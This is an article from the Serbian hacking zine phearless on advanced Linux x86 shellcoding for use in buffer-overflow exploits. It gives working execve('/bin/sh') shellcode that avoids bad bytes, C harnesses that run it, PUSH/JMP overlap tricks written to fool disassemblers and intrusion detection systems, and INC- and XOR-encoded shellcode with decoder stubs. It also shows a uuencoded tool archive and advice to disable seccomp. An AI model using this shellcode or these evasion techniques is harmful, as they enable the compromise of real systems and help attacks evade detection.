Copy Link
Add to Bookmark
Report

5x04 Advanced Shellcoding

eZine's profile picture
Published in 
phearless
 · 10 months ago

                                 
...................
...::: phearless zine #5 :::...

......................>---[ Advanced Shellcoding ]---<......................

.........................>---[ by BaCkSpAcE ]---<...........................
sinisa86[at]gmail[dot]com

SADRZAJ:

[0] Uvod
[1] Zasto shellcode nekad ne radi
[2] Najmanji potpuno ispravan execve() shellcode
[3] Kako zbuniti disasemblere sa PUSH/JMP instrukcijama
[4] Osnove enkriptovanja shellcoda
[5] Literatura
[6] Odvod

///////////////////////////////////////////////////////////////////////////
--==<[ 0. Uvod
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Shellcode predstavlja neki bajtkod, uglavnom mali, koji se koristi da bi
exploitali neki overflow, odnosno bug za cije exploitovanje je potrebno
promeniti tok izvrsavanja instrukcija programa (eip registar). Koliko god
postoji tekstova na ovu temu, uvek ostane nesto nedoreceno, nedovrseno. Ja
sam, citajuci te iste tekstove, primetio dosta stvari koje bih voleo da mi
budu objasnjene. Tragajuci za resenjem, na kraju sam odlucio da podelim te
moje rezultate sa svima, jer verujem da ima dosta "shellcodera" koji sigurno
ne znaju bar jednu stvar iz ovog teksta.
Sto se tice potrebnog predznanja za ovaj tekst, to je naravno neizbezni
asembler ;) Takodje, bilo bi pozeljno da znate (ali nije neophodno) da
napisete exploit za neki od overflowa, tipa buffer overflow, format string
overflow i slicni, jer nema svrhe da znate da pisete shellcodove, a da ne
znate da ih primenite ;) Ko je "malo zaboravio" kako se pisu shellcodovi,
neka pogleda Shatterhandov tekst iz phearless zinea ph#2/0x0a.


///////////////////////////////////////////////////////////////////////////
--==<[ 1. Zasto shellcode nekad ne radi
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Shellcode, iako je ispravan i radi kada ga pokrenete u binarnom obliku,
odnosno cim ga kompajlirate pomocu npr. nasm-a, on nece da radi kada ga
"bacite u vatru", zato sto imate \x00 (hexadecimalno) u vasem shellcodu.
To ste vec znali, je l' tako ;) E, a sad nesto sto sam primetio da dosta
shellcodera ne zna, tj. neki specijalni slucajevi zbog kojih ce vas exploit
a samim tim i shellcode, da zakaze... Evo jedan tipican shellcode koji ja
koristim, a i vecina drugih ljudi pri exploitovanju neke ranjive aplikacije:

push byte 11
pop eax
cdq
push edx
push 0x68732f2f ; guramo "//sh" na stack
push 0x6e69622f ; guramo "/bin" na stack
push esp
pop ebx ; punimo ebx sa adresom sadrzaja "/bin//sh"
push edx
push ebx
push esp
pop ecx ; punimo ecx sa pokazivacem na adresu od "/bin//sh"
int 0x80 ; pozivamo kernel i prepustamo izvrsavanje funkcije

Ovaj shellcode je duzine 23 bajta i kada se kompajlira njegov kod u
heksadecimalnom obliku izgleda ovako:

char shellcode[] = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x54"
"\x5b\x52\x53\x54\x59\xcd\x80";

Kao sto vidite, shellcode mi je ostao smesten u jednoj promenljivoj,
prvenstveno zato sto me mrzilo da uklanjam ove kose crte i x-eve, a
ionako cete ga ovako koristiti cesce ;)
U ovom shellcodu je sve u redu (bar na prvi pogled), i radice u
vecini exploita. Ali zasto nekad nece raditi? Pogledajte sledeci primer.

#include <stdio.h>
#include <string.h>

#define SCLEN 28

char shellcode[] = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x54"
"\x5b\x52\x53\x54\x59\xcd\x80";

main() {
int i;
char sc[SCLEN];
void (*fp) (void);

sprintf (sc, "%s", shellcode);

for (i=0; i<SCLEN; i++) printf ("%2x ", shellcode[i]);
printf ("\n\n");
for (i=0; i<SCLEN; i++) printf ("%2x ", sc[i]);

fp = (void *) sc;
printf ("%d bytes\n", strlen(shellcode));
fp();
}

Kao sto vidite, ovaj program drzi originalan shellcode u shellcode[], a
shellcode koji testiramo drzi u sc[]. Nakon toga ce da odstampa kako ce
izgledati oba shellcoda u hexadecimalnom obliku. Na osnovu toga vi mozete
da ih uporedite i da vidite razliku. Razlike u ovom gornjem primeru nece
biti, i shellcode ce se normalno startovati. Medjutim, sta ce se desiti
kada skinete komentar sa sscanf-a? Pa shellcode ce se promeniti, tj. onaj
bajt \x0b ce da se promeni u \x00, i shellcode se nece pravilno izvrsiti!!!
To isto se dogadja ako umesto \x0b stavimo \x09, \x0a, \x0c, \x0d.
Sta sve ovo znaci? To znaci da ako exploitujete neki ranjivi kod u kojem
ce vas shellcode morati da prodje kroz sscanf(), onda vas shellcode ne sme
sadrzati 0a, 0b, 0c i 0d bajtove (u heksadecimalnom obliku), jer ce ih
sscanf() zameniti sa 00!!!
U ovom shellcodu koji sam vam ponudio problem predstavlja instrukcija
push byte 11 ("\x6a\x0b"). Znaci problem mozemo resiti tako sto cemo da
ovu instrukciju da zamenimo sa nekom drugom instrukcijom koja nece sadrzati
sve ove "ilegalne" bajtove. Pogledajte sledeci primer:

backspace@bitbyterz# cat primer1.asm
push byte 10
pop eax
inc eax

backspace@bitbyterz# nasm primer1.asm
backspace@bitbyterz# hexdump -C primer1
"\x6a\x0a\x58\x40"

Ovaj primer takodje ne dolazi u obzir zato sto je 'push byte 10' u binarnom
obliku "\x6a\x0a". Ali zato mozemo da napravimo mali hack ovoga.

backspace@bitbyterz# cat primer2.asm
push byte 8
pop eax
inc eax
inc eax
inc eax

backspace@bitbyterz# nasm primer2.asm
backspace@bitbyterz# hexdump -C primer2
"\x6a\x08\x58\x40\x40\x40"

Bingo!!! Ovaj kod konacno nema nijedan od onih "ilegalnih" bajtova. Probajte
sada ovaj shellcode iskompajlirajte i ubacite umesto gornjeg shellcoda koji
je dat u primeru:

push byte 8
pop eax
inc eax
inc eax
inc eax
cdq
push edx
push 0x68732f2f ; guramo "//sh" na stack
push 0x6e69622f ; guramo "/bin" na stack
push esp
pop ebx ; punimo ebx sa adresom sadrzaja "/bin//sh"
push edx
push ebx
push esp
pop ecx ; punimo ecx sa pokazivacem na adresu od "/bin//sh"
int 0x80 ; pozivamo kernel i prepustamo izvrsavanje funkcije

Ovaj ce da radi bre ;) Kao sto vidite, iz prilicno ciste situacije izrodilo
se nekoliko problematicnih bajtova. Licno mrzi me dalje da isprobavam koji
bajt jos ne smete da upotrebljavate pri exploitovanju sscanf() funkcije,
a i ne bi bilo l33t. Takodje ovaj shellcode moze da se optimizuje, da radi
sa svim funkcijama, a da manje zauzima, ali bilo bi lame da vam jos i to
pricam ovde... Ako razumete sve ovo sto sam rekao, verovatno cete znati
dalje sami da nastavite!

NAPOMENA: Ako vam slucajno shellcode ne radi na novim 2.6.x kernelima, to
je zato sto vam je prilikom kompajliranja kernela ukljucena opcija seccomp
koja se nalazi u 'Processor type and features --> Enable seccomp to safely
compute untrusted bytecode'. Resenje ovog problema je rekompajliranje
kernela sa iskljucenim seccomp-om, ili neki on-fly kernel patching ;)



///////////////////////////////////////////////////////////////////////////
--==<[ 2. Najmanji potpuno ispravan execve() shellcode
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Borba za najmanji execve() shellcode je dugo trajala, ali vec se doslo
do nekih maksimuma. Najmanji shellcode koji sam ja video, iznosi 21 bajt,
a tvorac tog shellcoda je zasta [zasta(at)darkircop(dot)org]. Medjutim,
najmanji shellcode cesto ne znaci i najispravniji... Kad smo vec kod toga,
upravo taj 'najmanji' shellcode radi, ali pod specificnim okolnostima ;)
Evo kako glasi taj najmanji shellcode:

xor ecx, ecx
mul ecx
add al, 11
push edx
push 0x6873612f
push 0x6e69622f
mov ebx, esp
int 0x80

Prvi uslov da bi ovaj shellcode radio jeste taj da ne exploitujemo neku
aplikaciju kod koje ce nas buffer za smestanje shellcoda da prodje kroz
sscanf() funkciju, kao sto smo videli u prvom poglavlju. Drugi uslov da bi
ovaj shellcode radio je taj da na sistemu koji exploitujemo mora da bude
instaliran /bin/ash shell, sto nije bas uobicajeno na POSIXcnim operativnim
sistemima, vec se uglavnom naknadno ubacuje po zelji. Zasto bas /bin/ash ?
Evo zasto. Kao sto vidite, ovaj shellcode drzi registar CX prazan (NULL),
a po definiciji execve() funkcije, trebalo bi da stoji na tom mestu
pokazivac na pokazivac (pointer to pointer) na string koji sadrzi ime tog
shella. Da bi videli zasto ostali shellovi nece da rade bez pravilno
popunjenog CX registra, a samo /bin/ash hoce, treba da zagrebemo malo ispod
povrsine kernela, i da vidimo sta se tu desava prilikom poziva execve()
sistemske funkcije.
Pozivanje execve() je ekvivalentno sistemskom pozivu sys_execve(). Evo
kako radi sys_execve():

[linux/arch/i386/kernel/process.c]
...
asmlinkage int sys_execve(struct pt_regs regs)
{
int error;
char * filename;

filename = getname((char __user *) regs.ebx);
error = PTR_ERR(filename);
if (IS_ERR(filename))
goto out;
error = do_execve(filename,
(char __user * __user *) regs.ecx,
(char __user * __user *) regs.edx,
®s);
...

Ovde vidimo da se promenljiva filename popunjava sa pokazivacem na
adresu programa koji pokrecemo (EBX). Nas ECX koji nam je ovde od znacaja
i koji sadrzi vrednost NULL, prosledjuje se funkciji do_execve() kao drugi
parametar. Sada da vidimo sta se tamo zbiva:

[linux/fs/exec.c]
...
int do_execve(char * filename,
char __user *__user *argv,
char __user *__user *envp,
struct pt_regs * regs)
{
struct linux_binprm *bprm;
struct file *file;
...
bprm->argc = count(argv, bprm->p / sizeof(void *));
if ((retval = bprm->argc) < 0)
goto out_mm;
...

Izostavio sam veci deo ove funkcije zbog toga sto je vecina stvari nama
bespotrebna, jedino sto nam ovde treba jeste ovaj red koji popunjava bprm
strukturu, tacnije bprm->argc. Funkcija count racuna broj parametara u
argv, i taj broj vraca u argc. Iz ovoga vidimo da ce agrv biti NULL, a argc
ce biti 0! Upravo je to razlog zasto svi ostali shellovi padaju, a 'ash'
ne pada! Ostali padaju zato sto nailaze na paradoksalne vrednosti parametara
argv i argc, jer po pravilu bi trebao uvek da bude barem jedan parametar u
argv (naziv samog programa), a prema tome argc bi trebalo da sadrzi vrednost
jedan. Probajte da napravite sami neku malu 'ljusku' koja nece pasti ako
je argv = NULL. Ili jednostavno probajte ovo:

[ss.c]
#include <stdio.h>
main() { system ("ksh"); }

backspace@bitbyterz# gcc ss.c -o ss
backspace@bitbyterz# cp ss /bin

Zatim ispravite prvi push u shellcodu, tako da pokazuje na /bin//ss. Znaci,
na stack bi se gurali sledeci podaci:

...
push 0x73732f2f
push 0x6e69622f
...

I probajte sada ovaj mali shellcode, i videcete da radi! Jedino nam sada
ostaje da se nadamo da ce se u buducim verzijama bash-a i slicnih ljuski
ispraviti ovaj "bug" kako bi mogli da koristimo jos manje shellcodove ;)
Prema tome, da li bi ovakav shellcode trebao da nosi naziv najmanjeg
shellcoda? Po meni, najmanji shellcode bi pored toga sto je najmanji trebalo
da bude i potpuno ispravan, a ne da bacamo grashke kada ce raditi, a kad ne.
Znaci, da bi napisali u potpunosti funkcionalan shellcode, a pritom i
da tezimo i ka najmanjem, treba da pazimo na sledece stvari:
- da nam se ne pojavljuju \x00 bajtovi u shellcodu (ovo svi znaju ;)
- da nam se ne pojavljuju \x09, \x0a, \x0b, \x0c, \x0d bajtovi
- da prosledimo ispravne parametre execve() syscall-u
- da ne koristimo neke instrukcije ciji rezultati zavise od stanja nekih
registara i slicno

Ovaj poslednji uslov se prvenstveno odnosi na instrukciju cdq, jer je
ona ovako vrlo primamljiva zato sto isprazni EDX registar, a zauzima samo
jedan bajt, dok u normalnim situacijama za ovaj posao nam treba 2 bajta
(xor edx, edx). Medjutim, ako je sadrzaj eax registra veci od 0x7FFFFFFF,
onda se EDX umesto sa nulama napuni sa 'FF FF FF FF'.
Ja sam pokusao da napisem neki shellcode koji ispunjava sve navedene
uslove, i stigao sam do 26 bajtova. Verovatno moze da se napise jos manji,
ali neka ostane nesto da vam golica mastu, ne bi li dobili malo zelje u
trazenju manjem shellcoda. Evo kako on izgleda:

push byte 8 ; guramo 8 na stack, jer 9 ne smemo zbog \x09
pop eax
add al, 3 ; dodajemo na postojecih 8 jos 3 = 11 ;)
xor edx, edx ; praznimo edx (eh, da je sad tu cdq ;)
push edx ; guramo 4 null bajta iz eax na stack
push 0x68732f2f ; guramo "//sh" na stack
push 0x6e69622f ; guramo "/bin" na stack
push esp
pop ebx
push edx ; guramo 4 null bajta iz eax na stack
push ebx ; guramo ebx na stack
push esp
pop ecx
int 0x80 ; pozivamo kernel i prepustamo izvrsavanje funkcije

Ovaj shellcode mozete ubaciti bukvalno bilo gde, i svugde ce da radi ;)
A usput nece ni da ucenjuje kao ovi prethodni, pa da trazi neke BogZnaKakve
uslove za rad... "Neverne Tome" neka puste ovaj shellcode kroz bilo koju
kvazinormalnu funkciju, pa neka se i sami uvere ;)

#include <stdio.h>

char shellcode[] = "\x6a\x08\x58\x04\x03\x31\xd2\x52"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x54\x5b\x52\x53\x54\x59"
"\xcd\x80";

main() {
void (*fp) (void);
fp = (void *) shellcode;
printf ("%d bytes\n", strlen(shellcode));
fp();
}



///////////////////////////////////////////////////////////////////////////
--==<[ 3. Kako zbuniti disasemblere sa PUSH/JMP instrukcijama
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Ono sto shellcodovima predstavlja najvecu glavobolju jesu IDSovi, tj.
Intrusion Detection System, koji su u stanju da detektuju izvrsavanje nekog
neprijateljski raspolozenog bytecoda. Takodje, tu su i disasembleri koji se
trude da im nijedan bajt ne promakne, i da svaki lepo protumace. Tokom jedne
diskusije na forumu o navodjenju disasemblera na gresku (thx h4z4rd, deroko),
pokusao sam i ja nesto da uradim na tu foru.
Za pocetak navescu jedan jednostavan nacin kako da sakrijete poslednja
2-3 bajta. Posmatrajmo sledeci shellcode:

push byte 11 ; \x6A\x0B
pop eax ; \x58
xor edx, edx ; \x31\xD2
push edx ; \x52
push 0x68732f2f ; \x68\x2F\x2F\x73\x68
push 0x6e69622f ; \x68\x2F\x62\x69\x6E
mov ebx, esp ; \x89\xE3
push edx ; \x52
push ebx ; \x53
mov ecx, esp ; \x89\xE1
int 0x80 ; \xCD\x80

Poslednja instrukcija je int 0x80, koja je inace i kljucna da bi ovaj
shellcode uopste "pokusao" da proradi ;) Kako mozemo nju da sakrijemo? Pa
mozemo tako sto cemo ugraditi njen opcode i parametar unutar push instrukcije
i tako ce disasembler nju videti samo kao push. Pomocu ovog nacina mozete
teoretski da sakrijete 4 bajta, medjutim problem je sto neki disasembleri
umeju da "prepolove" push, pa da je tumace kao push word, a druga dva bajta
da disasembluju, sto nam nikako ne odgovara. Evo kako cemo onda sakriti
int 0x80:

skok:
push 0xXX80CDXX
jmp skok+2

Kao sto vidite, ovaj 4-bajtni bytecode smo smestili u push instrukciju
po 'little endian' redosledu, pa smo onda skocili na adresu skok+1. Koje je
to mesto? Evo kako izgleda situacija:

skok 0x68
skok+1 0xXX
skok+2 0xCD
skok+3 0x80
skok+4 0xXX

Kao sto mozete primetiti, ovim skokom skacemo direktno na bajt 0xCD, koji
ustvari predstavlja opcode int instrukcije. Umesto ovih bajtova XX moze da
bude bilo koji bajt, proizvoljno, jer je on tu samo da popuni mesto ;) Kada
kompajliramo ovaj shellcode i pokusamo da ga disasemblujemo pomocu ndisasm-a,
evo sta bi dobili:

backspace@bitbyterz# ndisasm -u shellcode
00000000 6A0B push byte +0xb
00000002 58 pop eax
00000003 31D2 xor edx,edx
00000005 52 push edx
00000006 682F2F7368 push dword 0x68732f2f
0000000B 682F62696E push dword 0x6e69622f
00000010 89E3 mov ebx,esp
00000012 52 push edx
00000013 53 push ebx
00000014 89E1 mov ecx,esp
00000016 6890CD8090 push dword 0x9080cd90
0000001B EBFB jmp short 0x18

Da li je dobro disasm rastumacio kod? Jeste, dobro je rastumacio, ali
fora je u tome sto on ne vidi ono sto smo mi hteli da on ne vidi ;) a to
je onaj jmp koji skace na 0x18 odakle pocinje int 0x80 instrukcija!!!
Ovo je mali pocetak, a sada da pokusamo neki veci zalogaj. Posmatramo
sledeci kod:

crypt:
db 0x68
db 0x68
db 0x68
db 0x68
db 0x68
jmp crypt+3

Sta je 0x68? To je opcode push dword instrukcije, to znaci da se posle
push opcoda ocekuju cetiri bajta koja ce se staviti na stack. Ovde se na
stack stavlja \x68\x68\x68\x68. Zatim dolazi skok u sred push instrukcije.
Sta nam to predstavlja? Evo da nacrtamo ovo malo lepse.

crypt db 0x68
crypt+1 db 0x68
crypt+2 db 0x68
crypt+3 db 0x68
crypt+4 db 0x68

Kada skocimo na crypt+3, skocicemo opet na 0x68 opcode (push dw), i
onda bi on trebalo da pushne cetiri bajta, zar ne? Medjutim, zanimljivo je
to sta ce on da gurne na stack. U ovom slucaju to ce biti \x68, zatim jos
dva bajta od jmp crypt+3 instrukcije, i plus jos jedan bajt koji se nalazio
posle jmp-a. Ovo mozemo da iskoristimo da prikrijemo instrukcije, i da
zbunimo disasembler skroz. Sta cemo da uradimo? Ovako:

crypt:
db 0x68
db 0x68
db 0x68
db 0x68 ; ovo je pozicija [crypt+3]
db 0x68
jmp crypt+3 ; dvobajtna instrukcija
db 0x68 ; opcode push dw instrukcije

Kako bi se ovo videlo u disasembleru?

push 0x68686868 ; \x68\x68\x68\x68\x68
jmp short 0x3 ; \xEB\xFC
push [shellcode] ; \x68 i jos cetiri bajta od naseg shellcoda

Sada ova poslednja instrukcije db 0x68 (push dw), ocekuje jos cetiri
bajta da baci na stack, i tako dalje. Medjutim, u realnosti program
nikada nece stici do tog koraka. Zasto? Zato sto jmp skace u sred push
instrukcije, i menja se ceo tok programa. Posle jump instrukcije,
program ce ici ovim redosledom:

jmp short 0x3
...
push 0x68EBFC68
[shellcode]

I sada ce nas shellcode da nastavi da se izvrsava bez problema, iako
ce disasembleri da vide nesto sasvim deseto. Evo kako bi izgledao sada
shellcode kada ubacimo ovaj dodatak:

crypt:
db 0x68
db 0x68
db 0x68
db 0x68 ; crypt+3
db 0x68
jmp crypt+3
db 0x68 ; MAGIC_BYTE: ovaj bajt dovodi disasm do ludila

push byte 11 ; odavde pocinje shellcode
pop eax
xor edx, edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push edx
push ebx
mov ecx, esp
int 0x80

Probajte da kompajlirate ovaj shellcode, pa da ga disasemblujete. Evo
kakve sam ja rezultate dobio sa ndisasm-om:

backspace@bitbyterz# ndisasm -u crypt_sc
00000000 6868686868 push dword 0x68686868
00000005 EBFC jmp short 0x3
00000007 686A0B5831 push dword 0x31580b6a
0000000C D25268 rcl byte [edx+0x68],cl
0000000F 2F das
00000010 2F das
00000011 7368 jnc 0x7b
00000013 682F62696E push dword 0x6e69622f
00000018 89E3 mov ebx,esp
0000001A 52 push edx
0000001B 53 push ebx
0000001C 89E1 mov ecx,esp
0000001E CD80 int 0x80

Kao sto vidite, vecina koda je izmesana, tek se na mov instrukciji
disasembler vratio na kolosek. Moze dalje da se steluje da se ne vidi
ni dalji kod, ali umesto toga, uradicu nesto drugo. Iskoristicu onaj
prostor koji smo na samom pocetku popunjavali sa \x68. Tu cemo da
smestimo int 0x80 instrukciju. Posle te modifikacije, shellcode ce
izgledati ovako:

crypt:
db 0x68 ; opcode push dw instrukcije
db 0xcd ; crypt+1, opcode od instrukcije int
db 0x80 ; broj interapta koji se poziva
db 0x68 ; crypt+3
db 0x68
jmp crypt+3
db 0x68 ; MAGIC_BYTE: ovaj bajt dovodi disasm do ludila

push byte 11 ; odavde pocinje shellcode
pop eax
xor edx, edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push edx
push ebx
mov ecx, esp
jmp crypt+1 ; skace na adresu gde je sakrivena int 0x80

Mozete ovaj shellcode dalje da doteravate tako sto cete ugradjivati
jos ovih 'crypt' delova, ali to ostaje na vama. Takodje, mozete menjati
ovaj MAGIC_BYTE, tako sto cete menjati njegovu vrednost u opcode neke
druge instrukcije. U obzir ne dolaze jednobajtne instrukcije tipa inc,
pop, push reg, nop... vec samo vise bajtne instrukcije. Evo liste koju
ja koristim:

2-bajtna: \x31
3-bajtna: \xD2
4-bajtna: \x68 (push dw) ili \xE9 (jmp)
...

U zavisnosti od toga da li je instrukcija 2-bajtna, 3-bajtna ili
4-bajtna, ona ce da krade redom 1, 2 ili 3 bajta. Zbog toga disasm
ne moze lepo da rastumaci kod. Na vama je da kombinujete.



///////////////////////////////////////////////////////////////////////////
--==<[ 4. Osnove enkriptovanja shellcoda
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Sledeci korak koji bi mogli da napravimo u poboljsanju shellcoda jeste
enkriptovanje istog! Postoje razni nacini kako se to moze uraditi, ali svi
se svode na isto. Svaki 'encrypted' shellcode sadrzi prvo jedan blok gde
se nalazi pravi shellcode encodovan na neki nacin, i drugi blok koji sluzi
da dekriptuje prvi blok, i da izvrsi pravi shellcode koji je bio skriven.
Evo kako bi izgledao blok diagram ovog shellcoda:

enkriptovani shellcode
|
|
V
decryptor shellcoda
|
|
V
loader shellcoda

Treba napomenuti da enkriptovani shellcode mora da bude gurnut na stack
tj. treba ga smestiti u par push instrukcija, i to je to. Razmatracemo jedan
shellcode od 24 bajta:

push byte 11
pop eax
xor edx, edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push edx
push ebx
mov ecx, esp
int 0x80

Sada cemo ovaj shellcode staviti u nekoliko push instrukcija i napraviti
jedan takav funkcionalan shellcode prema prethodnom blok diagramu:

;shellcode
push 0x80cde189 ; pocetak naseg shellcoda
push 0x5352e389
push 0x6e69622f
push 0x6868732f
push 0x2f6852d2
push 0x31580b6a
push byte 0x18 ; informacija o duzini shellcoda, 0x18 = 24 bytes
pop ecx

;decrypter

;loader
push esp
ret

Ovo je najjednostavniji shellcode prema nasem blok diagramu koji nije
enkriptovan. U sustini, na osnovu ovog shellcoda nastale su brojne druge
"mutacije" na internetu gde se one samo razlikuju prema nacinu enkriptovanja
shellcoda. Evo kako ja vidim i razvrstavam te razlicite nacine enkriptovanja:

- linearno (ADD, SUB, INC, DEC)
- shiftovanje (SHR, SHL)
- ekskluzivno OR (XOR)
- "prava" enkripcija dobijena kombinacijom ostalih metoda iza koje
stoji veoma slozen matematicki aparat

Mislim da se svi slazemo da je najlakse objasniti osnovni princip rada
ovakvih shellcodova na nekom najprostijem primeru, a to je u ovom slucaju
inc (ili dec).
Uzecemo gorepomenuti shellcode, i povecacemo svaki njegov bajt za 1,
tj. radicemo enkripciju pomocu instrukcije INC. Nakon toga, moramo staviti
neki dekriptor koji ce smanjiti svaki bajt shellcoda za jedan na stacku, i
na kraju cemo pokrenuti taj modifikovani shellcode. My way:

;shellcode
push 0x81cee28a
push 0x5453e48a
push 0x6f6a6330
push 0x69697430
push 0x306953d3
push 0x32590c6b
push byte 0x18
pop ecx

;decrypter
decrypter:
dec byte [esp+ecx] ; smanjuje vrednost podatka na stacku za jedan
dec ecx ; smanjuje ecx da bi pokazivao na sledeci bajt
jns decrypter

;loader
push esp
ret

Evo, to je prva uspesna verzija enkriptovanog shellcoda! Sada dalje
moze da se usavrsava ovaj kod tako sto cemo praviti neke bolje enkriptore.
Ja se necu mnogo zadrzavati oko toga, to je vasa volja kako cete nesto da
enkriptujete, vec cu vam dati primer kako mozete da koristite XOR instr.
kao nacin enkripcije. Za ovu priliku vam dajem jedan program koji ce vas
vec postojeci shellcode da enkriptuje pomocu XOR-a, znaci automatizuje
posao za vas. Ovaj i svi ostali fajlovi koje sada budem koristio, nalaze
se encodovani na kraju ovog fajla.
Za pocetak nam treba neki shellcode. Uzecemo onda opet onaj nas
shellcode od 24 bajta, i kompajliracemo ga:

backspace@bitbyterz# nasm shellcode.asm -f bin
backspace@bitbyterz# gcc xorencrypt.c -o xorencrypt
backspace@bitbyterz# ./xorencrypt
usage: xorencrypt <shellcode file> <output file> <xor byte (1-255)>

backspace@bitbyterz# ./xorencrypt shellcode izlaz 4
No NULL bytes were found when xoring with 4!

Sada je nas shellcode smesten u fajlu izlaz. Zatim cemo njegov sadrzaj
u heksadecimalnom obliku upisati u push-eve, ali u obrnutom redosledu, kao
sto je to radjeno i u prethodnim primerima. Nas shellcode bi trebao da
izgleda ovako:

;shellcode
push 0x84c9e58d
push 0x5756e78d
push 0x6a6d662b
push 0x6c6c772b
push 0x2b6c56d6
push 0x355c0f6e
push byte 0x18
pop ecx

;decrypter
decrypter:
xor byte [esp+ecx], 4 ; ovde se vrsi dekriptovanje pomocu xor-a
dec ecx ; sa parametrom 4 koji smo izabrali kada smo
jns decrypter ; pokretali ./xorencrypt

;runner
push esp
ret

Naravno, ako ne bi napisali parametar 4, vec neki drugi, shellcode se
ne bi lepo dekriptovao, pa bi izbacio 'Segmentation Fault'. Eto, sada vam
ostavljam ovaj xorencrypt da pokusate i sami (za domaci ;) da napravite
svoj xor-enkriptovani shellcode ;)



///////////////////////////////////////////////////////////////////////////
--==<[ 5. Literatura
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

(1) How IT Works
Rodrigo Rubira Branco
http://www.bsdaemon.org

(2) Najmanji shellcode (21 byte)
zasta
zasta[at]darkircop[dot]org

(3) execve() shellcode, encoded by +1, 39 bytes
izik
izik[at]tty64[dot].org


///////////////////////////////////////////////////////////////////////////
--==<[ 6. Odvod
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Znate sta? Hteo sam da pisem jos nekih stvari, ali stvarno vise ne mogu
jer me smorilo ucenje za fax i tako to, pa sam jedva i ovo napisao jer mi
je oduzelo prilicno vremena. Nadam se da to vreme nece biti izgubljeno, i da
ce neko umeti ovo da iskoristi i upotrebi svoju kreativnost i inteligenciju
u daljem razvoju shellcodova. Sada imate dosta materijala za proucavanje i
pravljenje vasih boljih modifikovanih verzija shellcodova, koje cete nadam
se, kao i ja, podeliti sa ostalim shellcode frikovima ;)

greetz to: **W**, d0lphin, De1Rekt0n, BORG, SSnaVe, bl00d, Shatterhand,
Earthquake, deroko, sunnis, DownBload, BoyScout, hazard, HitMan,
Exoduks, Re00t, lesh, ACidCooKie i svim ostalim clanovima grupa
sa kojima je bilo divno druziti se (Serbian Security Team i
bSecurity Team)... i svima ostalima kojih se nisam setio...

Posebno se zahvaljujem mojoj devojci koja redovno cita moje tekstove
i koja mi daje snage i volje za dalji rad. Takodje poseban pozdrav mojim
cimerima koji su trpili zvuk kompjutera i tastature dok kucam, jer se taj
"tretman" neretko znao oduziti do 5-6 sati ujutro ;)


begin 644 advshell.tar.bz2
M0EIH.3%!62936<?4!XH`!`#_Q]X8*$!Z____$Z6>S___W_Y`(``2D0`J```(
M4`0X2%C8]NNVZC;PE31-3":3TI^DVE/TIGJFPD:8TPFH]31FD#8H-J>IZGM4
MVIDPF&2-1DTT32)O2FR:@/*>33(0P$:,C3!!B>HTPC30)$DQ`I/&J>E-M)B1
M[13U#R1Z08$#)@:3:F@,3(;4.9--#(`&(R#(`:8(&(!HTT`&0-``DE"
FR93T
M&H#-(&$T:```-`&@```#H_'G4>8[]FZ#FL*-^MI!%HD(T(&C?UW0+8!LX.%Z
MZ3I8Q506H!H2:1`BYL]>QZ?CXRQO^/UZ]MO+0J)M+U"_;FOZ;BZ"QSRJ3;-"
M;B<'+J\VSS$2RQJ77Y2D+06(IE'-/GJC:$D5:$TP2*`(+EXL$*$@J+%=5KTZ
MZ?-R?`VHL`]4,:1L*H)H`E2?GH;*:=N3*XVK>H;[BEN+C4CTR&Y1F%M,^J:I
M$L?DKOKJIO.^BL9]/#;_4=2)%M_)!+?N-.4!ER0B#=C:=*:H(TUG-R,&15I'
M,03I8=25=ZPBS8OK58,*I<M^R:N,SBN15OW<9"
.QF@*&QJW)6:N-$4R1&=R'
M2%5RM:T9$=]YV+XMN"_&R4HUOY'C92=493QN1\M'X#?P,)VRQSVAC*B#&,8B
M[;IL0RS]3+1E6#W%L@&']UF`!^<_ZOX`"
H"&X/8+]A,MQH(LO8/'4`S&R(#;
M+@E"
!]"L%V)RN<)/;[F0/T?F2PCBG?P+!K^!\U`GPS**BC9ER20,[BD[`Q3=
M2>!6F!2U"
F\YPFQ_:AJ/%HL$C*!""7TC'8K5MB)LTSB>)0OQSWF:N$4XM-N8
M^<A^AP^LQ%,T">/MCZ5MB.U^=L8D]]^\U6"E=4RF14L3FI,)\]*VAJG"P.BF
MY+I`>'=B>^24?:"
]$)#T*4OREF:N@?6UAX;?"KCLT82;R!9^_XX*F$R%WK/H
M8C?:0,)47`0AP*>*:L8ACZ*!U%-K^Q6.QF9DD[IFN.31B!,P-%S/1ON[M)6]
MPO(24=-]2KK2:,1P#.74):9ND<Z:)'HUY7NZ`_+JO"
)IIG`X.P<&CA@N*0R4
M_*89ZAXMU%P#QA:<E>!H#A@)95@$\D7H6"4Y&4P(+-:*<!PH@4<DYM>`9#,+
M3;EU;]TFELB7V:?A6\IP#U07(]=BPNE*ZH?@(=TB&D=S>+B:U1NN_QM9C@J]
MNU2^0JW"
!+SZ`K;9$,X:05:PEHEYB_$3)>E<50P$XF++S=N(6DF4,7Z16JP4
M4A2>.>+#9#:@T;S[M$*0D2QS!SJ),''!9)B%NHG&@8"L1*_%04DC7("?*GQJ
